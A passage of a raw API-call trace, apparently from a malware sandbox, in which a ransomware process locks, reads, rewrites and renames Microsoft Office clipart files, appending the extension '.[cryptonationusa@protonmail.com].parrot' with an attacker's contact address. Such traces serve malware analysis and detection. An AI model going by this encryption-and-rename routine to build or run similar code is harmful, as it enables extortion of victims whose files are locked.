lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.515] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b2c, lpOverlapped=0x0) returned 1 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.516] GetLastError () returned 0x0 [0137.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0137.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.518] WriteFile (in: hFile=0x288, lpBuffer=0x639240*, nNumberOfBytesToWrite=0x1c48, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x639240*, lpNumberOfBytesWritten=0x18eed4*=0x1c48, lpOverlapped=0x0) returned 1 [0137.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0137.518] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.518] CloseHandle (hObject=0x288) returned 1 [0137.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.524] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.524] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.524] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.526] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x794, lpOverlapped=0x0) returned 1 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.526] GetLastError () returned 0x0 [0137.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.527] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.527] CloseHandle (hObject=0x288) returned 1 [0137.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.530] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ac4, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.530] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.530] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.532] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.532] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29ac, lpOverlapped=0x0) returned 1 [0137.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.533] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ac4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.533] CloseHandle (hObject=0x288) returned 1 [0137.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0137.536] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.537] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.585] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c54, lpOverlapped=0x0) returned 1 [0137.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.591] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.592] CloseHandle (hObject=0x288) returned 1 [0137.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0137.757] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.757] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.757] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.758] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1190, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1190, lpOverlapped=0x0) returned 1 [0137.760] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.760] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.760] CloseHandle (hObject=0x288) returned 1 [0137.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.765] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8244, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.765] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.767] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x812c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x812c, lpOverlapped=0x0) returned 1 [0137.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.769] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.769] CloseHandle (hObject=0x288) returned 1 [0137.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0137.782] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x890, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.782] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.782] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.785] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x778, lpOverlapped=0x0) returned 1 [0137.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.785] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x890, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.785] CloseHandle (hObject=0x288) returned 1 [0137.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.789] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.789] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.791] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ea8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ea8, lpOverlapped=0x0) returned 1 [0137.792] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.793] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.794] CloseHandle (hObject=0x288) returned 1 [0137.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.798] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.798] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.800] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.800] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fc8, lpOverlapped=0x0) returned 1 [0137.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.802] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.802] CloseHandle (hObject=0x288) returned 1 [0137.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 